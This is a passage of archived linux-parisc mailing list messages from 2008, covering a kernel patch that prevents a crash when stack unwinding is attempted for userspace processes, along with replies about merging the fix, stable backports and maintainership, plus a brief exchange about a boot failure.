 static int printbinary(char *buf, unsigned long x, int nbits)
@@ -121,18 +120,19 @@ static void print_fr(char *level, struct pt_regs *regs)
 
 void show_regs(struct pt_regs *regs)
 {
-	int i;
+	int i, user;
 	char *level;
 	unsigned long cr30, cr31;
 
-	level = user_mode(regs) ? KERN_DEBUG : KERN_CRIT;
+	user = user_mode(regs);
+	level = user ? KERN_DEBUG : KERN_CRIT;
 
 	print_gr(level, regs);
 
 	for (i = 0; i < 8; i += 4)
 		PRINTREGS(level, regs->sr, "sr", RFMT, i);
 
-	if (user_mode(regs))
+	if (user)
 		print_fr(level, regs);
 
 	cr30 = mfctl(30);
@@ -145,14 +145,18 @@ void show_regs(struct pt_regs *regs)
 	printk("%s CPU: %8d   CR30: " RFMT " CR31: " RFMT "\n",
 	       level, current_thread_info()->cpu, cr30, cr31);
 	printk("%s ORIG_R28: " RFMT "\n", level, regs->orig_r28);
-	printk(level);
-	print_symbol(" IAOQ[0]: %s\n", regs->iaoq[0]);
-	printk(level);
-	print_symbol(" IAOQ[1]: %s\n", regs->iaoq[1]);
-	printk(level);
-	print_symbol(" RP(r2): %s\n", regs->gr[2]);
-
-	parisc_show_stack(current, NULL, regs);
+
+	if (user) {
+		printk("%s IAOQ[0]: " RFMT "\n", level, regs->iaoq[0]);
+		printk("%s IAOQ[1]: " RFMT "\n", level, regs->iaoq[1]);
+		printk("%s RP(r2): " RFMT "\n", level, regs->gr[2]);
+	} else {
+		printk("%s IAOQ[0]: %pS\n", level, (void *) regs->iaoq[0]);
+		printk("%s IAOQ[1]: %pS\n", level, (void *) regs->iaoq[1]);
+		printk("%s RP(r2): %pS\n", level, (void *) regs->gr[2]);
+
+		parisc_show_stack(current, NULL, regs);
+	}
 }
 
 
@@ -173,20 +177,15 @@ static void do_show_stack(struct unwind_frame_info *info)
 			break;
 
 		if (__kernel_text_address(info->ip)) {
-			printk("%s [<" RFMT ">] ", (i&0x3)==1 ? KERN_CRIT : "", info->ip);
-#ifdef CONFIG_KALLSYMS
-			print_symbol("%s\n", info->ip);
-#else
-			if ((i & 0x03) == 0)
-				printk("\n");
-#endif
+			printk(KERN_CRIT " [<" RFMT ">] %pS\n",
+				info->ip, (void *) info->ip);
 			i++;
 		}
 	}
-	printk("\n");
+	printk(KERN_CRIT "\n");
 }
 
-void parisc_show_stack(struct task_struct *task, unsigned long *sp,
+static void parisc_show_stack(struct task_struct *task, unsigned long *sp,
 	struct pt_regs *regs)
 {
 	struct unwind_frame_info info;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix kernel crash when unwinding a userspace
 process (v2)
Date: Fri, 21 Nov 2008 11:17:05 -0800
Lines: 41
Approved: news@gmane.org
Message-ID: <20081121111705.dc03a465.akpm@linux-foundation.org>
References: <200811202258.56561.deller@gmx.de>
	<200811211516.50750.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1227295075 27631 80.91.229.12 (21 Nov 2008 19:17:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 21 Nov 2008 19:17:55 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, kyle@hera.kernel.org,
	randolph@tausq.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 21 20:18:58 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L3bWp-0003jL-86
	for glpp-linux-parisc@gmane.org; Fri, 21 Nov 2008 20:18:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752705AbYKUTRn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 21 Nov 2008 14:17:43 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753409AbYKUTRn
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 21 Nov 2008 14:17:43 -0500
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:35612 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752705AbYKUTRn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 21 Nov 2008 14:17:43 -0500
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id mALJH51n017471
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Fri, 21 Nov 2008 11:17:06 -0800
Original-Received: from akpm.corp.google.com (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with SMTP id mALJH58b020759;
	Fri, 21 Nov 2008 11:17:05 -0800
In-Reply-To: <200811211516.50750.deller@gmx.de>
X-Mailer: Sylpheed version 2.2.4 (GTK+ 2.8.20; i486-pc-linux-gnu)
X-Spam-Status: No, hits=-4.891 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:857
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/857>

On Fri, 21 Nov 2008 15:16:50 +0100
Helge Deller <deller@gmx.de> wrote:

> Any user on existing parisc 32- and 64bit-kernels can easily crash
> the kernel and as such enforce a DSO.
> A simple testcase is available here: 
>         http://gsyprf10.external.hp.com/~deller/crash.tgz
> 
> The problem is introduced by the fact, that the handle_interruption()
> crash handler calls the show_regs() function, which in turn tries
> to unwind the stack by calling parisc_show_stack().
> Since the stack contains userspace addresses, a try to unwind 
> the stack is dangerous and useless and leads to the crash.
> 
> The fix is trivial: For userspace processes
> a) avoid to unwind the stack, and
> b) avoid to resolve userspace addresses to kernel symbol names.
> 
> While touching this code, I converted print_symbol() to %pS 
> printk formats and made parisc_show_stack() static.
> 
> An initial patch for this was written by Kyle McMartin back in August:
> http://marc.info/?l=linux-parisc&m=121805168830283&w=2
> 
> Compile and run-tested with a 64bit parisc kernel.

Why has a fix for such a severe bug been floating around unmerged for
such a long time?

> Patches for -stable series will follow shortly.

That shouldn't be needed - I'll cc stable on my copy and the stable
maintainers should see that and pick it up.  The patch applies cleanly
all the way back to 2.6.25.


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix kernel crash when unwinding a userspace process
 (v2)
Date: Fri, 21 Nov 2008 23:00:06 +0100
Lines: 58
Approved: news@gmane.org
Message-ID: <49272F66.1010702@gmx.de>
References: <200811202258.56561.deller@gmx.de>	<200811211516.50750.deller@gmx.de> <20081121111705.dc03a465.akpm@linux-foundation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1227304826 24849 80.91.229.12 (21 Nov 2008 22:00:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 21 Nov 2008 22:00:26 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, kyle@hera.kernel.org,
	randolph@tausq.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 21 23:01:28 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L3e46-0001zl-Jk
	for glpp-linux-parisc@gmane.org; Fri, 21 Nov 2008 23:01:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752792AbYKUWAP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 21 Nov 2008 17:00:15 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753005AbYKUWAP
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 21 Nov 2008 17:00:15 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:40873 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752792AbYKUWAN (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 21 Nov 2008 17:00:13 -0500
Original-Received: (qmail invoked by alias); 21 Nov 2008 22:00:10 -0000
Original-Received: from mnhm-590f71b4.pool.einsundeins.de (EHLO halden.box) [89.15.113.180]
  by mail.gmx.net (mp004) with SMTP; 21 Nov 2008 23:00:10 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19MIdJB0YVMTe+mVbvPakzv+JTMFwZV3LyKk/21/E
	/VhICsRkCn9zcN
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20081121111705.dc03a465.akpm@linux-foundation.org>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.52
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:858
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/858>

Andrew Morton wrote:
> On Fri, 21 Nov 2008 15:16:50 +0100
> Helge Deller <deller@gmx.de> wrote:
> 
>> Any user on existing parisc 32- and 64bit-kernels can easily crash
>> the kernel and as such enforce a DSO.
>> A simple testcase is available here: 
>>         http://gsyprf10.external.hp.com/~deller/crash.tgz
>>
>> The problem is introduced by the fact, that the handle_interruption()
>> crash handler calls the show_regs() function, which in turn tries
>> to unwind the stack by calling parisc_show_stack().
>> Since the stack contains userspace addresses, a try to unwind 
>> the stack is dangerous and useless and leads to the crash.
>>
>> The fix is trivial: For userspace processes
>> a) avoid to unwind the stack, and
>> b) avoid to resolve userspace addresses to kernel symbol names.
>>
>> While touching this code, I converted print_symbol() to %pS 
>> printk formats and made parisc_show_stack() static.
>>
>> An initial patch for this was written by Kyle McMartin back in August:
>> http://marc.info/?l=linux-parisc&m=121805168830283&w=2
>>
>> Compile and run-tested with a 64bit parisc kernel.
> 
> Why has a fix for such a severe bug been floating around unmerged for
> such a long time?

I've tried to push it upstream a few times...

>> Patches for -stable series will follow shortly.
> 
> That shouldn't be needed - I'll cc stable on my copy and the stable
> maintainers should see that and pick it up.  The patch applies cleanly
> all the way back to 2.6.25.

Although it may apply to the older stable kernels, I'm currently not 
sure if this will work then.
We added the fixes for PA for the '%pS' vsprintf format pretty late. 
This is probably then a patch which needs backporting to stable as well 
(if it didn't happened yet):
	commit deac93df26b20cf8438339b5935b5f5643bc30c9
	Author: James Bottomley <James.Bottomley@HansenPartnership.com>
	Date:   Wed Sep 3 20:43:36 2008 -0500
	lib: Correct printk %pF to work on all architectures

Alternatively, I could write a little more simple patch, which is what I 
  intended initially.

Thanks a lot Andrew!
Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix kernel crash when unwinding a userspace
 process (v2)
Date: Fri, 21 Nov 2008 14:20:13 -0800
Lines: 67
Approved: news@gmane.org
Message-ID: <20081121142013.f8d59b3f.akpm@linux-foundation.org>
References: <200811202258.56561.deller@gmx.de>
	<200811211516.50750.deller@gmx.de>
	<20081121111705.dc03a465.akpm@linux-foundation.org>
	<49272F66.1010702@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1227306042 28368 80.91.229.12 (21 Nov 2008 22:20:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 21 Nov 2008 22:20:42 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, kyle@hera.kernel.org,
	randolph@tausq.org, stable@kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 21 23:21:42 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L3eNf-0000Vm-GB
	for glpp-linux-parisc@gmane.org; Fri, 21 Nov 2008 23:21:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754310AbYKUWU1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 21 Nov 2008 17:20:27 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754402AbYKUWU1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 21 Nov 2008 17:20:27 -0500
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:34162 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754299AbYKUWU0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 21 Nov 2008 17:20:26 -0500
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id mALMKDuo001277
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Fri, 21 Nov 2008 14:20:14 -0800
Original-Received: from akpm.corp.google.com (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with SMTP id mALMKDcb020883;
	Fri, 21 Nov 2008 14:20:13 -0800
In-Reply-To: <49272F66.1010702@gmx.de>
X-Mailer: Sylpheed version 2.2.4 (GTK+ 2.8.20; i486-pc-linux-gnu)
X-Spam-Status: No, hits=-4.891 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:859
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/859>

On Fri, 21 Nov 2008 23:00:06 +0100
Helge Deller <deller@gmx.de> wrote:

> Andrew Morton wrote:
> > On Fri, 21 Nov 2008 15:16:50 +0100
> > Helge Deller <deller@gmx.de> wrote:
> > 
> >> Any user on existing parisc 32- and 64bit-kernels can easily crash
> >> the kernel and as such enforce a DSO.
> >> A simple testcase is available here: 
> >>         http://gsyprf10.external.hp.com/~deller/crash.tgz
> >>
> >> The problem is introduced by the fact, that the handle_interruption()
> >> crash handler calls the show_regs() function, which in turn tries
> >> to unwind the stack by calling parisc_show_stack().
> >> Since the stack contains userspace addresses, a try to unwind 
> >> the stack is dangerous and useless and leads to the crash.
> >>
> >> The fix is trivial: For userspace processes
> >> a) avoid to unwind the stack, and
> >> b) avoid to resolve userspace addresses to kernel symbol names.
> >>
> >> While touching this code, I converted print_symbol() to %pS 
> >> printk formats and made parisc_show_stack() static.
> >>
> >> An initial patch for this was written by Kyle McMartin back in August:
> >> http://marc.info/?l=linux-parisc&m=121805168830283&w=2
> >>
> >> Compile and run-tested with a 64bit parisc kernel.
> > 
> > Why has a fix for such a severe bug been floating around unmerged for
> > such a long time?
> 
> I've tried to push it upstream a few times...

OK, well I'll merge it next week unless someone stops me.

> >> Patches for -stable series will follow shortly.
> > 
> > That shouldn't be needed - I'll cc stable on my copy and the stable
> > maintainers should see that and pick it up.  The patch applies cleanly
> > all the way back to 2.6.25.
> 
> Although it may apply to the older stable kernels, I'm currently not 
> sure if this will work then.
> We added the fixes for PA for the '%pS' vsprintf format pretty late. 
> This is probably then a patch which needs backporting to stable as well 
> (if it didn't happened yet):
> 	commit deac93df26b20cf8438339b5935b5f5643bc30c9
> 	Author: James Bottomley <James.Bottomley@HansenPartnership.com>
> 	Date:   Wed Sep 3 20:43:36 2008 -0500
> 	lib: Correct printk %pF to work on all architectures

Oh, OK.  I'll update the stable tag in the patch appropriately.

> Alternatively, I could write a little more simple patch, which is what I 
>   intended initially.

I'd suggest that you send that patch to stable@kernel.org in reply to
this one when you see it get dropped from -mm.

Unless someone stops me ;)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix kernel crash when unwinding a userspace
	process (v2)
Date: Fri, 21 Nov 2008 22:53:01 -0700
Lines: 41
Approved: news@gmane.org
Message-ID: <20081122055301.GA12724@colo.lackof.org>
References: <200811202258.56561.deller@gmx.de> <200811211516.50750.deller@gmx.de> <20081121111705.dc03a465.akpm@linux-foundation.org> <49272F66.1010702@gmx.de> <20081121142013.f8d59b3f.akpm@linux-foundation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1227333210 19338 80.91.229.12 (22 Nov 2008 05:53:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2008 05:53:30 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	kyle@hera.kernel.org, randolph@tausq.org, stable@kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 22 06:54:32 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L3lRt-0007B8-71
	for glpp-linux-parisc@gmane.org; Sat, 22 Nov 2008 06:54:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752092AbYKVFxO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 22 Nov 2008 00:53:14 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752118AbYKVFxO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 22 Nov 2008 00:53:14 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:56662 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752092AbYKVFxN (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 22 Nov 2008 00:53:13 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 3AF5329C08D;
	Fri, 21 Nov 2008 22:53:12 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09103-06; Fri, 21 Nov 2008 22:53:01 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 8D44029C037; Fri, 21 Nov 2008 22:53:01 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20081121142013.f8d59b3f.akpm@linux-foundation.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:860
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/860>

On Fri, Nov 21, 2008 at 02:20:13PM -0800, Andrew Morton wrote:
...
> > > Why has a fix for such a severe bug been floating around unmerged for
> > > such a long time?

Three people are listed for parisc-linux in MAINTAINERS.
My understanding was Kyle would integrate and push patches.
Willy and I would help by reviewing code, testing and misc crap.

I asked if I should ACK parisc specific patches and was told in general
I didn't need to. I will start sending "Reviewed By:" when I feel
I understand what a patch fixes and that it's correct (even if not perfect).

> > I've tried to push it upstream a few times...
> 
> OK, well I'll merge it next week unless someone stops me.

I won't stop you. :)
Based on this posting:
    http://marc.info/?l=linux-parisc&m=122726233324164&w=2

you can add:
   Review-by: Randolph Chung <randolph@tausq.org>

I trust Randolph - he used to have commit access to the parisc-linux.org
CVS tree when we still used one.

And Helge has been great about fixing stuff - much better than the three
listed maintainers lately.
Kyle, willy, any objection to adding Helge to the MAINTAINERS list
for PARISC port?
I'd rather allow Helge to make a few small mistakes occasionally rather
than watch his parisc specific patches fall on the floor.

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Fri, 21 Nov 2008 22:57:54 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20081122055754.GB12724@colo.lackof.org>
References: <20081120035103.E1C62431A@hiauly1.hia.nrc.ca> <20081120165701.52A09431A@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1227333498 19717 80.91.229.12 (22 Nov 2008 05:58:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2008 05:58:18 +0000 (UTC)
Cc: James.Bottomley@HansenPartnership.com, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 22 06:59:21 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L3lWZ-0007tW-Mc
	for glpp-linux-parisc@gmane.org; Sat, 22 Nov 2008 06:59:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751801AbYKVF6I (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 22 Nov 2008 00:58:08 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751978AbYKVF6H
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 22 Nov 2008 00:58:07 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:56690 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751801AbYKVF6F (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 22 Nov 2008 00:58:05 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id B384D29C08D;
	Fri, 21 Nov 2008 22:58:04 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09103-08; Fri, 21 Nov 2008 22:57:54 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 49A3F29C037; Fri, 21 Nov 2008 22:57:54 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20081120165701.52A09431A@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:861
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/861>

On Thu, Nov 20, 2008 at 11:57:00AM -0500, John David Anglin wrote:
> > VFS: Cannot open root device "sda3" or unknown-block(0,0)
> > Please append a correct "root=" boot option; here are the available partitions:
> > DEBUG_BLOCK_EXT_DEVT is enabled, you need to specify explicit textual name for "root=" boot option.
> > Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(0,0)
> > Rebooting in 5 seconds..
> 
> I would guess this is because the kernel is in the palo partition.  2.6.27
> doesn't have this problem...

I'm not seeing this with 2.6.28-rc3 or 2.6.28-rc5.
But I don't have DEBUG_BLOCK_EXT_DEVT enabled either.

The palo partition is just another ext2 filesystem from the kernel
point of view.

Maybe the full device pathname (e.g. root=/dev/sda3) is required?
It fully failed to associate sda3 with a known block device.

hth,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Fri, 21 Nov 2008 23:11:55 -0700
Lines: 56
Approved: news@gmane.org
Message-ID: <20081122061155.GC12724@colo.lackof.org>
References: <49231FD0.9040409@gmx.de> <1227061902.10371.11.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1227334340 21455 80.91.229.12 (22 Nov 2008 06:12:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2008 06:12:20 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 22 07:13:22 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L3lk9-0001es-ES
	for glpp-linux-parisc@gmane.org; Sat, 22 Nov 2008 07:13:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750835AbYKVGMI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 22 Nov 2008 01:12:08 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751871AbYKVGMI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 22 Nov 2008 01:12:08 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:56717 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750835AbYKVGMH (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 22 Nov 2008 01:12:07 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 4D54E29C092;
	Fri, 21 Nov 2008 23:12:06 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11899-08; Fri, 21 Nov 2008 23:11:55 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
